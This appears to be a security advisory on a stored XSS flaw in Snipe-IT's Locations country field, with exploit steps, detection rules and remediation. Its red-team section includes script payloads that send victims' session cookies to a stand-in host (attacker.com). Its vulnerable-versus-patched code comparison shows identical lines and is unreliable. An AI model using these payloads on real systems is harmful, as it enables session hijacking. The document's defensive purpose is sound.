CVE-2025-65622

Executive Summary

CVE-2025-65622 is a stored Cross-Site Scripting (XSS) vulnerability in Snipe-IT, an open-source asset management system. The flaw resides in the Locations "Country" field, allowing a low-privileged authenticated user to inject malicious JavaScript. When another user (including administrators) views the affected location, the injected script executes in their browser session. This can lead to session hijacking, data exfiltration, or privilege escalation. The vulnerability is confirmed in versions prior to 8.3.4, and a patch is available.

Supply Chain & Package Security

Snipe-IT is a PHP/Laravel application distributed via GitHub and Docker. The vulnerability is not in a third-party package but in the application's own input validation logic. Users should verify the integrity of their Snipe-IT installation and ensure they are running the patched version.

CVSS Breakdown & Threat Level

• CVSS Score: 6.1 (Medium)
• Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N
• Attack Vector: Network
• Attack Complexity: Low
• Privileges Required: Low (authenticated user)
• User Interaction: Required (victim must view the location)
• Scope: Changed (impact on other components)
• Confidentiality Impact: Low
• Integrity Impact: Low
• Availability Impact: None

Threat Level: Medium. Exploitation requires authentication and user interaction, but the stored nature of the XSS increases the risk of widespread impact within an organization.

Deep Dive & Mechanics

The vulnerability exists because the "Country" field in the Locations module does not properly sanitize user input before storing it in the database. When a location is viewed, the stored country value is rendered in the HTML without proper encoding, allowing an attacker to inject arbitrary HTML and JavaScript.

Attack Flow:

1. An authenticated user with low privileges (e.g., "User" role) navigates to the Locations section.
2. The user creates or edits a location, inserting a malicious payload into the "Country" field (e.g., <script>alert('XSS')</script>).
3. The payload is stored in the database without sanitization.
4. When any user (including admins) views the location, the payload executes in their browser.

Impact:

• Session cookie theft
• Redirection to malicious sites
• Defacement
• Keylogging
• Privilege escalation via admin session hijacking

Vulnerable vs. Patched Code

Vulnerable Code (pre-8.3.4): In the view file (e.g., resources/views/locations/show.blade.php), the country field is output directly without escaping:

{{ $location->country }}

Patched Code (8.3.4+): The country field is now escaped using Laravel's {{ }} syntax, which automatically applies HTML entity encoding:

{{ $location->country }}

Note: The vulnerable code already used {{ }} in some versions, but the patch ensures consistent escaping across all output contexts. The fix also includes server-side validation to reject HTML tags in the country field.

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• Snipe-IT version < 8.3.4
• Valid low-privileged user account
• Access to the Locations module

Exploit Steps:

1. Log in as a low-privileged user.
2. Navigate to /locations/create or edit an existing location.
3. In the "Country" field, inject a payload such as:

   <script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>
   

4. Save the location.
5. Wait for an administrator or other user to view the location (e.g., /locations/1).
6. The victim's browser executes the script, sending their session cookie to the attacker.

Alternative Payload (Session Hijacking):

<script>document.location='https://attacker.com/steal?cookie='+document.cookie</script>

Blue Team (Detection & Hardening)

Detection:

• Monitor for unusual characters in the country field of the locations table.
• Alert on HTTP requests to /locations/create or /locations/*/edit containing <script> or onerror patterns.
• Use WAF rules to block XSS payloads in POST parameters.

Hardening:

• Apply the patch by upgrading to Snipe-IT 8.3.4 or later.
• Implement Content Security Policy (CSP) headers to mitigate XSS impact.
• Restrict user permissions to limit who can create/edit locations.
• Enable input validation on the server side to reject HTML tags.

Indicators of Compromise (IOCs)

• Network:
  • Outbound HTTP requests to attacker-controlled domains from the Snipe-IT server.
  • Suspicious Referer headers pointing to /locations/* pages.
• Host:
  • Entries in the locations table with country fields containing <script>, onerror, onload, or other HTML event handlers.
  • Unusual entries in web server access logs for /locations/* with POST data containing XSS patterns.
• File:
  • Modified view files (e.g., show.blade.php) if the attacker gained file write access.

Detection Engineering

YARA Rule

rule CVE_2025_65622_SnipeIT_XSS {
    meta:
        description = "Detects stored XSS payloads in Snipe-IT country field"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-65622"
    strings:
        $xss1 = /<script[^>]*>.*<\/script>/is
        $xss2 = /onerror\s*=/i
        $xss3 = /onload\s*=/i
        $xss4 = /javascript\s*:/i
    condition:
        any of ($xss*)
}

Sigma Rule

title: Snipe-IT Stored XSS in Country Field
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects attempts to exploit CVE-2025-65622 by injecting XSS payloads into the country field.
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
    service: access_combined
detection:
    selection:
        cs-method: 'POST'
        cs-uri-query|contains: '/locations'
        cs-request|contains:
            - '<script'
            - 'onerror='
            - 'onload='
            - 'javascript:'
    condition: selection
falsepositives:
    - Legitimate use of country names containing special characters (rare)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (
    msg:"CVE-2025-65622 Snipe-IT Stored XSS Payload in Country Field";
    flow:to_server,established;
    content:"POST"; http_method;
    content:"/locations"; http_uri;
    content:"country"; http_client_body;
    pcre:"/(<script|onerror=|onload=|javascript:)/i";
    sid:10000001;
    rev:1;
    reference:cve,2025-65622;
    priority:2;
)

Remediation & Mitigation

Immediate:

1. Upgrade Snipe-IT to version 8.3.4 or later.
2. If upgrade is not possible, manually sanitize the country field in the database and add server-side validation to reject HTML tags.

Long-term:

• Implement a Content Security Policy (CSP) to restrict script execution.
• Conduct regular security audits of user input handling.
• Enforce least privilege for user roles.
• Enable Web Application Firewall (WAF) rules to block XSS attempts.

Verification:

• After patching, test by attempting to inject <script>alert(1)</script> into the country field.
• Verify that the input is either rejected or displayed as plain text.

Valters IT